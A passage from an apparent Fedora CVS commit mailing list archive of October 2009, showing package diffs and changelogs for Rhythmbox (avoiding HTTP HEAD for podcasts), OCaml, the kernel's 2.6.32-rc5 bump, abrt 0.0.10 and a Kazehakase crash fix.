rb-no-HEAD-for-podcasts.patch:
 rb-podcast-manager.c |  150 +++++++++++++++++++++++++++++++--------------------
 1 file changed, 92 insertions(+), 58 deletions(-)

--- NEW FILE rb-no-HEAD-for-podcasts.patch ---
>From a3a69d76e25358fc05c99e57041fa1485486345f Mon Sep 17 00:00:00 2001
From: Robert Ancell <robert.ancell at canonical.com>
Date: Thu, 15 Oct 2009 16:28:32 +1100
Subject: [PATCH] Support using g_file_input_stream_query_info() to get file information for podcasts.  This means only one connection to the server is required instead of two when using g_file_query_info()

---
 podcast/rb-podcast-manager.c |  149 ++++++++++++++++++++++++++----------------
 1 files changed, 92 insertions(+), 57 deletions(-)

diff --git a/podcast/rb-podcast-manager.c b/podcast/rb-podcast-manager.c
index eb6c821..bc1695b 100644
--- a/podcast/rb-podcast-manager.c
+++ b/podcast/rb-podcast-manager.c
@@ -153,9 +153,14 @@ static void rb_podcast_manager_get_property 		(GObject *object,
 							 guint prop_id,
 		                                	 GValue *value,
                 		                	 GParamSpec *pspec);
+static void read_file_cb					(GFile *source,
+							 GAsyncResult *result,
+							 RBPodcastManagerInfo *data);
 static void download_file_info_cb			(GFile *source,
 							 GAsyncResult *result,
 							 RBPodcastManagerInfo *data);
+static void download_podcast				(GFileInfo *src_info,
+							 RBPodcastManagerInfo *data);
 static void rb_podcast_manager_abort_download		(RBPodcastManagerInfo *data);
 static gboolean rb_podcast_manager_sync_head_cb 	(gpointer data);
 static gboolean rb_podcast_manager_head_query_cb 	(GtkTreeModel *query_model,
@@ -618,7 +623,7 @@ rb_podcast_manager_head_query_cb (GtkTreeModel *query_model,
 }
 
 static void
-download_error (RBPodcastManagerInfo *data, GError *error)
+download_error (RBPodcastManagerInfo *data, GError *error, gboolean in_thread)
 {
 	GValue val = {0,};
 	rb_debug ("error downloading %s: %s",
@@ -636,7 +641,12 @@ download_error (RBPodcastManagerInfo *data, GError *error)
 	g_value_unset (&val);
 
 	rhythmdb_commit (data->pd->priv->db);
-	g_idle_add ((GSourceFunc)end_job, data);
+
+	if (in_thread) {
+		g_idle_add ((GSourceFunc)end_job, data);
+	} else {
+		rb_podcast_manager_abort_download (data);
+	}
 }
 
 static gboolean
@@ -645,7 +655,6 @@ rb_podcast_manager_next_file (RBPodcastManager * pd)
 	const char *location;
 	RBPodcastManagerInfo *data;
 	char *query_string;
-	const char *attrs;
 	GList *d;
 
 	g_assert (rb_is_main_thread ());
@@ -689,69 +698,103 @@ rb_podcast_manager_next_file (RBPodcastManager * pd)
 
 	data->source = g_file_new_for_uri (location);
 
-	attrs = G_FILE_ATTRIBUTE_STANDARD_SIZE ","
-		G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
-		G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME;
-	g_file_query_info_async (data->source,
-				 attrs,
-				 G_FILE_QUERY_INFO_NONE,
-				 0,
-				 data->cancel,
-				 (GAsyncReadyCallback) download_file_info_cb,
-				 data);
+	g_file_read_async (data->source,
+	                   0,
+	                   data->cancel,
+	                   (GAsyncReadyCallback) read_file_cb,
+	                   data);
 
 	GDK_THREADS_LEAVE ();
 	return FALSE;
 }
 
 static void
-download_file_info_cb (GFile *source,
-		       GAsyncResult *result,
-		       RBPodcastManagerInfo *data)
+read_file_cb (GFile *source,
+              GAsyncResult *result,
+              RBPodcastManagerInfo *data)
 {
 	GError *error = NULL;
 	GFileInfo *src_info;
-	char *local_file_name = NULL;
-	char *feed_folder;
-	char *esc_local_file_name;
-	char *local_file_uri;
-	char *sane_local_file_uri;
-	char *conf_dir_uri;
 
 	g_assert (rb_is_main_thread ());
 
-	rb_debug ("got file info results for %s",
+	rb_debug ("started read for %s",
 		  get_remote_location (data->entry));
 
-	src_info = g_file_query_info_finish (source, result, &error);
-
-	/* ignore G_IO_ERROR_FAILED here, as it probably just means that the server is lame.
-	 * actual problems (not found, permission denied, etc.) have specific errors codes,
-	 * so they'll still be reported.
+	data->in_stream = g_file_read_finish (data->source,
+	                                      result,
+	                                      &error);
+	if (error != NULL) {
+		download_error (data, error, FALSE);
+		g_error_free (error);
+		return;
+	}
+    
+	src_info = g_file_input_stream_query_info (data->in_stream,
+	                                           G_FILE_ATTRIBUTE_STANDARD_SIZE ","
+	                                           G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
+	                                           G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME,
+	                                           NULL,
+	                                           &error);
+
+	/* If no stream information then probably using an old version of gvfs, fall back
+	 * to getting the stream information from the GFile.
+	 * This branch can be removed when this version of gvfs is released, see:
+	 * https://bugzilla.gnome.org/show_bug.cgi?id=598505
 	 */
-	if (error != NULL && g_error_matches (error, G_IO_ERROR, G_IO_ERROR_FAILED) == FALSE) {
-		GValue val = {0,};
+	if (error != NULL) {
+		rb_debug ("file info query from input failed, trying query on file: %s", error->message);
+		g_error_free (error);
 
-		rb_debug ("file info query failed: %s", error->message);
+		g_file_query_info_async (data->source,
+		                         G_FILE_ATTRIBUTE_STANDARD_SIZE ","
+		                         G_FILE_ATTRIBUTE_STANDARD_COPY_NAME ","
+		                         G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME,
+		                         G_FILE_QUERY_INFO_NONE,
+		                         0,
+		                         data->cancel,
+		                         (GAsyncReadyCallback) download_file_info_cb,
+		                         data);
+		return;
+	}
 
-		g_value_init (&val, G_TYPE_ULONG);
-		g_value_set_ulong (&val, RHYTHMDB_PODCAST_STATUS_ERROR);
-		rhythmdb_entry_set (data->pd->priv->db, data->entry, RHYTHMDB_PROP_STATUS, &val);
-		g_value_unset (&val);
+	rb_debug ("got file info results for %s",
+		  get_remote_location (data->entry));
 
-		g_value_init (&val, G_TYPE_STRING);
-		g_value_set_string (&val, error->message);
-		rhythmdb_entry_set (data->pd->priv->db, data->entry, RHYTHMDB_PROP_PLAYBACK_ERROR, &val);
-		g_value_unset (&val);
+	download_podcast (src_info, data);
+}
 
-		rhythmdb_commit (data->pd->priv->db);
+static void
+download_file_info_cb (GFile *source,
+                       GAsyncResult *result,
+                       RBPodcastManagerInfo *data)
+{
+	GError *error = NULL;
+	GFileInfo *src_info;
+
+	src_info = g_file_query_info_finish (source, result, &error);
 
+	if (error != NULL) {
+		download_error (data, error, FALSE);
 		g_error_free (error);
-		rb_podcast_manager_abort_download (data);
-		return;
 	} else {
-		g_clear_error (&error);
+		rb_debug ("got file info results for %s",
+			  get_remote_location (data->entry));
+
+		download_podcast (src_info, data);
 	}
+}
+
+static void
+download_podcast (GFileInfo *src_info, RBPodcastManagerInfo *data)
+{
+	GError *error = NULL;
+	char *local_file_name = NULL;
+	char *feed_folder;
+	char *esc_local_file_name;
+	char *local_file_uri;
+	char *sane_local_file_uri;
+	char *conf_dir_uri;
 
 	if (src_info != NULL) {
 		data->download_size = g_file_info_get_attribute_uint64 (src_info, G_FILE_ATTRIBUTE_STANDARD_SIZE);
@@ -769,7 +812,7 @@ download_file_info_cb (GFile *source,
 
 	if (local_file_name == NULL) {
 		/* fall back to the basename from the original URI */
-		local_file_name = g_file_get_basename (source);
+		local_file_name = g_file_get_basename (data->source);
 		rb_debug ("didn't get a filename from the file info request; using basename %s", local_file_name);
 	}
 
@@ -819,7 +862,6 @@ download_file_info_cb (GFile *source,
 		return;
 	}
 
-
 	data->destination = g_file_new_for_uri (sane_local_file_uri);
 	if (g_file_query_exists (data->destination, NULL)) {
 		GFileInfo *dest_info;
@@ -892,7 +934,7 @@ download_file_info_cb (GFile *source,
 					TRUE,
 					&error);
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
 		g_error_free (error);
 	}
 }
@@ -1407,14 +1449,6 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 	gssize n_read;
 	gssize n_written;
 	guint64 downloaded;
-	
-	/* open remote file */
-	data->in_stream = g_file_read (data->source, data->cancel, &error);
-	if (error != NULL) {
-		download_error (data, error);
-		g_error_free (error);
-		return NULL;
-	}
 
 	/* if we have an offset to download from, try the seek
 	 * before anything else.  if we can't seek, we'll have to
@@ -1443,7 +1477,7 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 		}
 	}
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
 		g_error_free (error);
 		return NULL;
 	}
@@ -1491,7 +1525,7 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 						  data->cancel,
 						  &error);
 		if (error != NULL) {
-			download_error (data, error);
+			download_error (data, error, TRUE);
 			g_error_free (error);
 			return NULL;
 		}
@@ -1535,7 +1569,8 @@ podcast_download_thread (RBPodcastManagerInfo *data)
 	g_object_unref (data->out_stream);
 
 	if (error != NULL) {
-		download_error (data, error);
+		download_error (data, error, TRUE);
+		g_error_free (error);
 	} else {
 		download_progress (data, downloaded, data->download_size, TRUE);
 	}
-- 
1.6.3.3



Index: rhythmbox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhythmbox/devel/rhythmbox.spec,v
retrieving revision 1.269
retrieving revision 1.270
diff -u -p -r1.269 -r1.270
--- rhythmbox.spec	13 Oct 2009 16:17:00 -0000	1.269
+++ rhythmbox.spec	16 Oct 2009 15:22:32 -0000	1.270
@@ -3,7 +3,7 @@
 Name: rhythmbox
 Summary: Music Management Application
 Version: 0.12.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+ with exceptions and GFDL
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/rhythmbox/
@@ -56,6 +56,8 @@ BuildRequires: automake autoconf libtool
 Patch1: 0001-Use-C-only-for-the-browser-plugin.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=597899
 Patch2: rb-fix-daap-plugin.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=596615
+Patch3: rb-no-HEAD-for-podcasts.patch
 
 %description
 Rhythmbox is an integrated music management application based on the powerful
@@ -93,6 +95,7 @@ from, and sending media to UPnP/DLNA net
 %patch1 -p1 -b .itms
 %patch2 -p1 -b .daap
 autoreconf -i
+%patch3 -p1 -b .http-head
 
 # Use the installed louie, not the one in Coherence
 find plugins/coherence/upnp_coherence/ -type f -exec sed -i 's/coherence.extern.louie as louie/louie/' '{}' ';'
@@ -224,6 +227,9 @@ fi
 %{_libdir}/rhythmbox/plugins/upnp_coherence
 
 %changelog
+* Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-6
+- Avoid using HEAD to get podcast mime-types
+
 * Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.12.5-5
 - Fix DAAP plugin not working
 



From rjones at fedoraproject.org  Fri Oct 16 15:31:50 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 15:31:50 +0000 (UTC)
Subject: rpms/ocaml/devel ocaml.spec,1.60,1.61
Message-ID: <20091016153150.BEE6E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2666

Modified Files:
	ocaml.spec 
Log Message:
- Set includes so building the *info programs works without
  having OCaml already installed.



Index: ocaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml/devel/ocaml.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- ocaml.spec	16 Oct 2009 14:55:32 -0000	1.60
+++ ocaml.spec	16 Oct 2009 15:31:50 -0000	1.61
@@ -2,7 +2,7 @@
 
 Name:           ocaml
 Version:        3.11.1
-Release:        3%{?dist}
+Release:        4%{?dist}
 
 Summary:        Objective Caml compiler and programming environment
 
@@ -220,9 +220,10 @@ make -C emacs ocamltags
 # Currently these tools are supplied by Debian, but are expected
 # to go upstream at some point.
 cp %{SOURCE6} %{SOURCE7} .
-boot/ocamlrun ./ocamlc -I otherlibs/dynlink dynlinkaux.cmo ocamlbyteinfo.ml -o ocamlbyteinfo
+includes="-nostdlib -I stdlib -I utils -I parsing -I typing -I bytecomp -I asmcomp -I driver -I otherlibs/unix -I otherlibs/str -I otherlibs/dynlink"
+boot/ocamlrun ./ocamlc $includes dynlinkaux.cmo ocamlbyteinfo.ml -o ocamlbyteinfo
 cp otherlibs/dynlink/natdynlink.ml .
-boot/ocamlrun ./ocamlopt unix.cmxa str.cmxa natdynlink.ml ocamlplugininfo.ml -o ocamlplugininfo
+boot/ocamlrun ./ocamlopt $includes unix.cmxa str.cmxa natdynlink.ml ocamlplugininfo.ml -o ocamlplugininfo
 
 
 %install
@@ -450,6 +451,10 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-4
+- Set includes so building the *info programs works without
+  having OCaml already installed.
+
 * Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-3
 - Add ocamlbyteinfo and ocamlplugininfo programs from Debian.
 



From cebbert at fedoraproject.org  Fri Oct 16 15:35:54 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 16 Oct 2009 15:35:54 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc5.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1135, 1.1136 config-generic, 1.332, 1.333 kernel.spec, 1.1829,
	1.1830 sources, 1.1094, 1.1095 upstream, 1.1007,
	1.1008 patch-2.6.32-rc4-git4.bz2.sign, 1.1,
	NONE patch-2.6.32-rc4.bz2.sign, 1.1, NONE
Message-ID: <20091016153554.A16C711C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4290

Modified Files:
	.cvsignore config-generic kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc5.bz2.sign 
Removed Files:
	patch-2.6.32-rc4-git4.bz2.sign patch-2.6.32-rc4.bz2.sign 
Log Message:
2.6.32-rc5
New config option: CONFIG_VMXNET3=m


--- NEW FILE patch-2.6.32-rc5.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK18peyGugalF9Dw4RAk4SAJ49CCqwoxpY2LIHwSEQf6N01xELfACcCGOw
tkguqfrGIpohv+03kVnlAGA=
=ZQd+
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1135
retrieving revision 1.1136
diff -u -p -r1.1135 -r1.1136
--- .cvsignore	15 Oct 2009 02:07:11 -0000	1.1135
+++ .cvsignore	16 Oct 2009 15:35:52 -0000	1.1136
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc4.bz2
-patch-2.6.32-rc4-git4.bz2
+patch-2.6.32-rc5.bz2


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.332
retrieving revision 1.333
diff -u -p -r1.332 -r1.333
--- config-generic	12 Oct 2009 01:52:11 -0000	1.332
+++ config-generic	16 Oct 2009 15:35:53 -0000	1.333
@@ -444,6 +444,7 @@ CONFIG_VIRTIO_RING=m
 CONFIG_VIRTIO_PCI=m
 CONFIG_VIRTIO_BALLOON=m
 CONFIG_VIRTIO_NET=m
+CONFIG_VMXNET3=m
 CONFIG_HW_RANDOM_VIRTIO=m
 CONFIG_VIRTIO_CONSOLE=m
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1829
retrieving revision 1.1830
diff -u -p -r1.1829 -r1.1830
--- kernel.spec	15 Oct 2009 02:07:12 -0000	1.1829
+++ kernel.spec	16 Oct 2009 15:35:53 -0000	1.1830
@@ -59,9 +59,9 @@ Summary: The Linux kernel
 # The next upstream release sublevel (base_sublevel+1)
 %define upstream_sublevel %(echo $((%{base_sublevel} + 1)))
 # The rc snapshot level
-%define rcrev 4
+%define rcrev 5
 # The git snapshot level
-%define gitrev 4
+%define gitrev 0
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1971,6 +1971,10 @@ fi
 # ##############################################################
 
 %changelog
+* Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com>
+- 2.6.32-rc5
+- New config option: CONFIG_VMXNET3=m
+
 * Wed Oct 14 2009 Chuck Ebbert <cebbert at redhat.com>
 - 2.6.32-rc4-git4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1094
retrieving revision 1.1095
diff -u -p -r1.1094 -r1.1095
--- sources	15 Oct 2009 02:07:13 -0000	1.1094
+++ sources	16 Oct 2009 15:35:54 -0000	1.1095
@@ -1,3 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-c028f9c392515eea1c5945dc0dbeb0ef  patch-2.6.32-rc4.bz2
-b1e34b32787f62814e3f8861c3ded771  patch-2.6.32-rc4-git4.bz2
+29cfdb080df74d97e89e27bc855b0160  patch-2.6.32-rc5.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1007
retrieving revision 1.1008
diff -u -p -r1.1007 -r1.1008
--- upstream	15 Oct 2009 02:07:13 -0000	1.1007
+++ upstream	16 Oct 2009 15:35:54 -0000	1.1008
@@ -1,3 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc4.bz2
-patch-2.6.32-rc4-git4.bz2
+patch-2.6.32-rc5.bz2


--- patch-2.6.32-rc4-git4.bz2.sign DELETED ---


--- patch-2.6.32-rc4.bz2.sign DELETED ---



From jmoskovc at fedoraproject.org  Fri Oct 16 15:59:47 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 15:59:47 +0000 (UTC)
Subject: rpms/abrt/devel .cvsignore, 1.11, 1.12 abrt.spec, 1.16, 1.17 sources,
	1.12, 1.13
Message-ID: <20091016155947.2316811C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/abrt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13191

Modified Files:
	.cvsignore abrt.spec sources 
Log Message:
new version



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/abrt/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	22 Sep 2009 10:11:54 -0000	1.11
+++ .cvsignore	16 Oct 2009 15:59:46 -0000	1.12
@@ -1 +1 @@
-abrt-0.0.9.tar.gz
+abrt-0.0.10.tar.gz


Index: abrt.spec
===================================================================
RCS file: /cvs/extras/rpms/abrt/devel/abrt.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- abrt.spec	24 Sep 2009 08:55:19 -0000	1.16
+++ abrt.spec	16 Oct 2009 15:59:46 -0000	1.17
@@ -3,8 +3,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 Summary: Automatic bug detection and reporting tool
 Name: abrt
-Version: 0.0.9
-Release: 2%{?dist}
+Version: 0.0.10
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/abrt/
@@ -24,6 +24,7 @@ BuildRequires: python-devel
 BuildRequires: gettext
 BuildRequires: nss-devel
 BuildRequires: polkit-devel
+BuildRequires: libzip-devel, libtar-devel, bzip2-devel, zlib-devel
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -51,7 +52,8 @@ Development libraries and headers for %{
 Summary: %{name}'s gui
 Group: User Interface/Desktops
 Requires: %{name} = %{version}-%{release}
-Requires: dbus-python, pygtk2, pygtk2-libglade,gnome-python2-gnomevfs
+Requires: dbus-python, pygtk2, pygtk2-libglade,
+Requires: gnome-python2-gnomevfs, gnome-python2-gnomekeyring
 # only if gtk2 version < 2.17
 #Requires: python-sexy
 Provides: abrt-applet = %{version}-%{release}
@@ -248,10 +250,12 @@ fi
 %dir %{_sysconfdir}/%{name}
 %dir %{_sysconfdir}/%{name}/plugins
 %dir %{_libdir}/%{name}
-%{_mandir}/man8/%{name}.8.gz
+%{_mandir}/man8/abrtd.8.gz
 %{_mandir}/man5/%{name}.conf.5.gz
+%{_mandir}/man5/pyhook.conf.5.gz
 %{_mandir}/man7/%{name}-plugins.7.gz
 %{_datadir}/polkit-1/actions/org.fedoraproject.abrt.policy
+%{_datadir}/dbus-1/system-services/com.redhat.abrt.service
 
 %files libs
 %defattr(-,root,root,-)
@@ -354,7 +358,31 @@ fi
 %defattr(-,root,root,-)
 
 %changelog
-* Wed Sep 23 2009  jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-2
+* Thu Oct 15 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.10-1
+- new version
+- added more logging (vda.linux at googlemail.com)
+- made polkit policy to be more permissive when installing debuginfo (jmoskovc at redhat.com)
+- lib/Plugins/CCpp.cpp: add build-ids to backtrace (vda.linux at googlemail.com)
+- lib/Plugins/CCpp.cpp: do not use temp file for gdb commands - use -ex CMD instead (vda.linux at googlemail.com)
+- GUI: added refresh button, added sanity check to plugin settings (jmoskovc at redhat.com)
+- Initial man page for abrt-cli (kklic at redhat.com)
+- Added --version, -V, --help, -? options. Fixed crash caused by unknown option. (kklic at redhat.com)
+- Date/time honors current system locale (kklic at redhat.com)
+- fixed saving/reading user config (jmoskovc at redhat.com)
+- SPEC: added gnome-python2-gnomekeyring to requirements (jmoskovc at redhat.com)
+- GUI: call Report() with the latest pluginsettings (jmoskovc at redhat.com)
+- Fix Bug 526220 -  [abrt] crash detected in abrt-gui-0.0.9-2.fc12 (vda.linux at googlemail.com)
+- removed unsecure reading/writting from ~HOME directory rhbz#522878 (jmoskovc at redhat.com)
+- error checking added to archive creation (danny at rawhide.localdomain)
+- try using pk-debuginfo-install before falling back to debuginfo-install (vda.linux at googlemail.com)
+- abrt-gui: make "report" toolbar button work even if abrtd is not running (vda.linux at googlemail.com)
+- set LIMIT_MESSAGE to 16k, typo fix and daemon now reads config information from dbus (npajkovs at redhat.com)
+- add support for abrtd autostart (vda.linux at googlemail.com)
+- GUI: reversed the dumplist, so the latest crashes are at the top (jmoskovc at redhat.com)
+- rewrite FileTransfer to use library calls instead of commandline calls for compression (dnovotny at redhat.com)
+- and many minor fixes ..
+
+* Wed Sep 23 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-2
 - added bug-buddy to provides rhbz#524934
 
 * Tue Sep 22 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.9-1


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/abrt/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Sep 2009 10:11:54 -0000	1.12
+++ sources	16 Oct 2009 15:59:46 -0000	1.13
@@ -1 +1 @@
-2d668c6d53564c05b8266eadff90f2c6  abrt-0.0.9.tar.gz
+67413b750a39605954b73a3e044c0666  abrt-0.0.10.tar.gz



From mtasaka at fedoraproject.org  Fri Oct 16 16:02:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 16 Oct 2009 16:02:58 +0000 (UTC)
Subject: rpms/kazehakase/F-11
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch, NONE,
	1.1 kazehakase.spec, 1.89, 1.90
Message-ID: <20091016160258.9173B11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/kazehakase/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14130

Modified Files:
	kazehakase.spec 
Added Files:
	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch 
Log Message:
* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
- Fix crash when trying to view source or cert with no page loaded
  (bug 529334)


kazehakase-0.5.8-crash-viewing-source-with-no-page.patch:
 kz-actions.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE kazehakase-0.5.8-crash-viewing-source-with-no-page.patch ---
Index: src/actions/kz-actions.c
===================================================================
--- src/actions/kz-actions.c	(revision 3869)
+++ src/actions/kz-actions.c	(revision 3870)
@@ -531,6 +531,7 @@
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
 	GtkWidget *newtab;
+	if (!web) return;
 
 	newtab = kz_window_open_new_tab(kz, NULL);
 
@@ -541,6 +542,7 @@
 act_show_page_certificate (GtkAction *action, KzWindow *kz)
 {
 	KzWeb *web = KZ_WINDOW_CURRENT_WEB(kz);
+	if (!web) return;
 
 	kz_web_show_page_certificate(web);
 }


Index: kazehakase.spec
===================================================================
RCS file: /cvs/extras/rpms/kazehakase/F-11/kazehakase.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- kazehakase.spec	29 Sep 2009 15:33:06 -0000	1.89
+++ kazehakase.spec	16 Oct 2009 16:02:58 -0000	1.90
@@ -38,7 +38,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define		fedorarel	1
+%define		fedorarel	2
 %define		_release	%{fedorarel}%{?usesvn:.svn%svnver}
 
 %if 0%{?fedora} < 1
@@ -68,6 +68,7 @@ Patch14:	kazehakase-0.5.6-rev3769-embed-
 Patch15:	kazehakase-0.5.8-gtkver.patch
 %endif
 Patch17:	kazehakase-0.5.7-external-rev938-libegg-parallel_make.patch
+Patch18:	kazehakase-0.5.8-crash-viewing-source-with-no-page.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	dbus-devel
@@ -353,6 +354,10 @@ desktop-file-install \
 %endif
 
 %changelog
+* Sat Oct 17 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-2
+- Fix crash when trying to view source or cert with no page loaded
+  (bug 529334)
+
 * Tue Sep 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.5.8-1
 - Update to 0.5.8
 



From jmoskovc at fedoraproject.org  Fri Oct 16 16:02:56 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 16:02:56 +0000 (UTC)
Subject: rpms/abrt/devel abrt.spec,1.17,1.18
Message-ID: <20091016160256.6047311C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/abrt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14086

Modified Files:
	abrt.spec 
Log Message:
bump release



Index: abrt.spec
===================================================================
RCS file: /cvs/extras/rpms/abrt/devel/abrt.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- abrt.spec	16 Oct 2009 15:59:46 -0000	1.17
+++ abrt.spec	16 Oct 2009 16:02:55 -0000	1.18
@@ -4,7 +4,7 @@
 Summary: Automatic bug detection and reporting tool
 Name: abrt
 Version: 0.0.10
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/abrt/
@@ -358,6 +358,9 @@ fi
 %defattr(-,root,root,-)
 
 %changelog
+* Fri Oct 16 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.10-2
+- bump release
+
 * Thu Oct 15 2009  Jiri Moskovcak <jmoskovc at redhat.com> 0.0.10-1
 - new version
 - added more logging (vda.linux at googlemail.com)



From myoung at fedoraproject.org  Fri Oct 16 16:09:43 2009
From: myoung at fedoraproject.org (myoung)
Date: Fri, 16 Oct 2009 16:09:43 +0000 (UTC)
Subject: rpms/kernel/devel
	acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch,
	NONE, 1.1.2.1 acpi-revert-attach-device-to-handle-early.patch, NONE, 
	1.1.2.1 ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch,
	NONE, 1.1.2.1 improve-resource-counter-scalability.patch, NONE,
	1.1.2.1 linux-2.6-nfs4-callback-hidden.patch, NONE,
	1.1.2.2 patch-2.6.31.4.bz2.sign, NONE,
	1.1.2.1 pci-increase-alignment-to-make-more-space.patch, NONE,
	1.1.2.1 perf-make-perf-counter-h-available-to-userspace.patch,
	NONE, 1.1.2.1 .cvsignore, 1.1014.2.32, 1.1014.2.33 Makefile,
	1.97.6.8, 1.97.6.9 config-generic, 1.238.6.41,
	1.238.6.42 drm-nouveau.patch, 1.8.6.22, 1.8.6.23 kernel.spec,
	1.1294.2.71, 1.1294.2.72 lirc-2.6.31.patch, 1.2.2.3,
	1.2.2.4 sources, 1.976.2.33, 1.976.2.34 upstream, 1.888.2.32,
	1.888.2.33 xen.pvops.patch, 1.1.2.45, 1.1.2.46
Message-ID: <20091016160943.3882C11C00E5@cvs1.fedora.phx.redhat.com>

Author: myoung

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15322

Modified Files:
      Tag: private-myoung-dom0-branch
	.cvsignore Makefile config-generic drm-nouveau.patch 
	kernel.spec lirc-2.6.31.patch sources upstream xen.pvops.patch 
Added Files:
      Tag: private-myoung-dom0-branch
	acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch 
	acpi-revert-attach-device-to-handle-early.patch 
	ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch 
